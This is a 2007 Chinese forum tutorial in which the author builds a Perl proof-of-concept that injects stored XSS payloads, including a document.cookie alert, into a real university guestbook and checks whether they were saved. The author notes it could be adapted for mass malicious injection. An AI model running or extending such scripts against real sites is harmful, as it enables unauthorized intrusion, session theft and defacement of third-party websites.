查看: 1915|回复: 0
收起左侧

[求助] Perl脚本打造自己简单的XSS Proof of Concept

[复制链接]
yxwxqflbyg
发表于 2007-9-30 18:23:23 | 显示全部楼层 |阅读模式
刚学了几天Perl,最近在学校站点上逛,偶然发现freescale实验室网站的留言本有XSS漏洞(图1),于是就打算用它来练习写一个Perl的测试程序,介绍小菜入门的文章,高手略过。

400) {this.resized=true; this.width=400;}" border=0 resized="true">
XSS大家都熟悉的很,细节就不赘述。经过手工测试成功后,开始为编写Perl测试工具做前期准备。
首先,通过查阅网页的HTML源代码中找到提交的变量名(图2)。

400) {this.resized=true; this.width=400;}" border=0 resized="true">
特别要注意,这个留言本用于验证表单提交还有一个隐藏的参数。(图3)

400) {this.resized=true; this.width=400;}" border=0 resized="true">
掌握了上述的资料,我们就可以开始编写一个XSS测试程序了。在没有验证码的情况下,编写这样一个程序比较简单,如果有验证码就麻烦了,还需要图片识别代码。
既然是小菜入门,就从简好了,下面是代码,我尽量减少了无关的部分并且详细的加上注释。
#下面这行不是注释 是标识Perl程序的文件头 非nix系统下显得就不那么重要了
#!/usr/bin/perl
#下面这行是注释 写明了文件名字和作者
#Freescale Guestbook book_write.asp XSS Proof of Concept By 冰血封情 [E.S.T]
use HTTP::Request::Common qw(POST GET);
use LWP::UserAgent;
#设定使用者的浏览器信息
my $ua = LWP::UserAgent->new();
$ua->agent("XSSInject/v1.1");
#两个不同的跨站测试语句存放在变量xss里 如果挂马也可以写在这里
my @xss = ('>alert(window.location);','>alert(document.cookie);');
#地址我屏蔽了
my $weburl = "http://www.target.com/guestbook/";
#表单中action提交的页面位置
my $url = "${weburl}book_write.asp";
#提交数据的过程
my $inject;
#用一个循环想该文件的几个要填写的变量提交跨站测试语句
#UserName UserMail等我门之前在图2中查到过
foreach $inject (@xss) {
   my $req = POST $url, [UserName => "EvilOctal",
                         UserMail => $inject,
                         Comments => "EvilOctal",
                         send => "ok"];
   #下面一行取得浏览器反馈信息 是调试时候用的
   my $res = $ua->request($req);        
   #重新定向提交地址到查看留言的页面
   my $urlv = "${weburl}book_view.asp";
   #提交访问查看留言
   my $req = POST $urlv;
   #然后取得该页面的反馈信息 其实就是代码
   my $res = $ua->request($req);
   
   #使用$_当前变量存储返回字符串
   $_ = $res->as_string;
   
   #检查返回字符串中是否已经成功提交了XSS语句
   if (index(lc $_, lc $inject) != -1)
   {
       print "这个页面可能存在跨站脚本执行漏洞:[$url]\n";
   }
}
如果你安装了Perl,那么将上述代码保存为xss.pl文件,在命令行下使用perl xss.pl就可以解析执行这个脚本了,利用循环控制语句还能实现批量发送。(图4)

400) {this.resized=true; this.width=400;}" border=0 resized="true">
然后我们去访问留言板看看数据是否被提交了。
进入留言板查看留言页面,果然弹出两个对话框,查看一下网页源代码,可以看到,XSS语句已经被写入了(图5)。

400) {this.resized=true; this.width=400;}" border=0 resized="true">
安全是双刃剑,我这里只是检测是否存在脚本漏洞,这是个举一反三的小东西,稍作修改就可以用来批量挂马等其他用处,大家切勿动邪念哦。
菜文,请各位高手多多斧正。
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-12-26 09:49 , Processed in 0.120053 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表